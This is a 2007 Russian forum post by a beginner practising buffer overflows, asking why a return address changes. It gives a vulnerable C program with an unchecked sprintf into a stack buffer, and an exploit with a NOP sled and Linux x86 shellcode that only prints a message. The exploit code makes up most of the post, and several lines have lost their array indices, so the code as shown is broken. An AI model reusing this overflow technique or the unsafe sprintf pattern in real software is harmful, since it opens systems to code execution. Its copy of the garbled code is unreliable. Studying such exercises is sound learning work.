Странности с переполнением буфера

Тема в разделе "WASM.BEGINNERS", создана пользователем zgz, 7 июн 2007.

  1. zgz

    zgz New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    1
    Играюсь тут с переполнениями, решил написать программу и эксплоит к ней. Трабла в том, что при определённых значениях RET_ADDR он изменяются, например
    0xbffffbf4 меняетcя на 0xbffffc5a. Разумеется, всё после этого перестаёт работать. Пробовал разные адреса, но все адреса, указывающие на поле из nop'ов, изменяются.
    Символов, которые sprintf преобразовывает, вроде нет.
    Вот сурцы, если кому не лень позаморачиваться, буду благодарен...
    p.s. скрестил эксплойт с программой, всё заработало
    ==========[vuln.c]============
    #include <stdio.h>
    int main(int argc, char **argv) {
    unsigned char buf[100];
    int i;
    if(argv[1]) printf(" [+] Received %d bytes\n",strlen(argv[1]));

    sprintf(buf,"%s",argv[1]);
    printf(" beginning of buffer: [ %p | %x ]\n",buf,buf[0]);

    for(i=1;i<strlen(buf)+1;i++) {
    printf("0x%02x ",buf[i-1]);
    if(i%8==0) printf(" [0x%08x] \n",&buf[i-1]);
    }
    printf("\n");
    printf("[+] received text\n");
    }

    ==========[exploit.c]============
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>

    #define SIZE 129 //128 bytes to rewrite eip+null_byte
    #define NOP 0x90

    int main(int argc, char **argv) {
    int RET_ADDR=0xbffffbf4;
    unsigned char buff[SIZE];
    int i;

    if(argv[1]) RET_ADDR=atoi(argv[1]);

    //Wanna go for a ride? :)
    //51 bytes
    unsigned char shellcode[]= "\x31\xc0"
    "\x31\xdb"
    "\x31\xd2"
    "\x68\x0a\x90\x90\x90"
    "\x68\x69\x64\x65\x3f"
    "\x68\x20\x61\x20\x72"
    "\x68\x20\x66\x6f\x72"
    "\x68\x61\x20\x67\x6f"
    "\x68\x57\x61\x6e\x6e"
    "\x89\xe1"
    "\xb2\x15"
    "\x43"
    "\xb0\x04"
    "\xcd\x80"
    "\x31\xc0"
    "\xb0\x01"
    "\xcd\x80";

    printf(" Using ret addr : [ 0x%08x ]\n",RET_ADDR);

    int *p = (int *)(buff); //make int pointer to buff

    //fill the whole buffer with ret addr
    for(i=0; i<SIZE-1; i+=4) {
    *p++=RET_ADDR;
    }
    *p=0x0;

    //fill the first half of buffer with nops
    for(i=0; i<SIZE/2+1; i++)
    buff=NOP;

    //place shellcode after nops
    for(i=0; i<strlen(shellcode); i++)
    buff[i+SIZE/2+1]=shellcode;

    execl("./vuln", "vuln", buff, NULL);

    return 0;
    }